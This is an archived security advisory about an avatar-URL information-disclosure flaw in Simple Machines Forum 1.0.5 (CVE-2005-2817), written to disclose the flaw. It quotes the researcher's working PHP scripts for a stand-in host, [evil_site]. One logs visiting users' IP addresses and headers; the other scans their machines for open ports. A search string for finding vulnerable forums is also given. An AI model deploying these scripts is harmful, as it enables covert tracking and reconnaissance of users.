SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   SMF Vendors:   Simple Machines
SMF Avatar Image Implementation Lets Remote Users Obtain Information About Target Users
SecurityTracker Alert ID:  1014828
SecurityTracker URL:  http://securitytracker.com/id/1014828
CVE Reference:   CVE-2005-2817   (Links to External Site)
Updated:  Jun 8 2008
Original Entry Date:  Aug 31 2005
Impact:   Disclosure of system information, Disclosure of user information
Exploit Included:  Yes  
Version(s): 1.0.5
Description:   rgod reported a vulnerability in SMF. A remote user can obtain information about site users.

A remote authenticated user can set their avatar image filename to a URL for a remote PHP script. When a target user views an SMF page that ostensibly contains the avatar picture, the target user's browser will load the URL. As a result, the remote script can obtain information about the target user, such as IP address and HTTP header parameters.

A demonstration exploit filename is provided:

http://[evil_site]/image.php

The original advisory is available at:

http://rgod.altervista.org/smf105.html

Impact:   A remote user can obtain information about site users, such as IP address and HTTP header parameters.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.simplemachines.org/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Simple Machine Forum 1-0-5 (possibly prior versions) user IP address / information disclosure

Simple Machine Forum 1-0-5 (possibly prior versions) user IP address /
information disclosure

software:
site: http://www.simplemachines.org/

information disclosure:  
a user can choose an sumbit an avatar url like this:

http://[evil_site]/image.php

where image.php is a file like this:

<?php
 $log="log".date("Ymd").".txt"; 
 $fp=fopen($log,'a');
 fputs($fp,$REMOTE_ADDR.":".$REMOTE_PORT." - ".$HTTP_USER_AGENT."-"
$HTTP_REFERER."-".$REQUEST_METHOD."-".$QUERY_STRING."-"
$HTTP_ACCEPT_LANGUAGE."-".$REQUEST_URI."\r\n");
 fclose($fp)
?>

When forum users view a page that should show the avatar, a new line is
appended
to log[date].txt on [evil_site] server, like this:

08.31.05 04.09 - 192.168.1.1:8562 - Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1)-http://[target]/[path]/[page]-GET--it-/image.php

so an external user can monitor in details the forum activity, user ip
addresses, have informations on OS and browsers used and so on

the evil script could check for open ports/services on target machines to
send
them exploit code or proxies, trojan ports, do some other stuff, just an
example:

<?php
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 1);
$log="log".date("Ymd").".txt";
$fp=fopen($log,'a');
fputs($fp,'open ports on '.$REMOTE_ADDR.": ");
$portlist="23;135;139;445;1080;3128;8080;12345";
$ports=explode(";",$portlist);
for ($i=0; $i<=count($ports)-1; $i++)
{
$ock=fsockopen($REMOTE_ADDR,$ports[$i]);
if ($ock) {fputs($fp,$ports[$i].' '); fclose($ock);}
}
fputs($fp,"\r\n");
fclose($fp);
//then a lot of creativity  ;) 
?>

googledork: "Powered by SMF"

rgod
site: http://rgod.altervista.org
mail: retrogod@aliceposta.it

original advisory: http://rgod.altervista.org/smf105.html
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC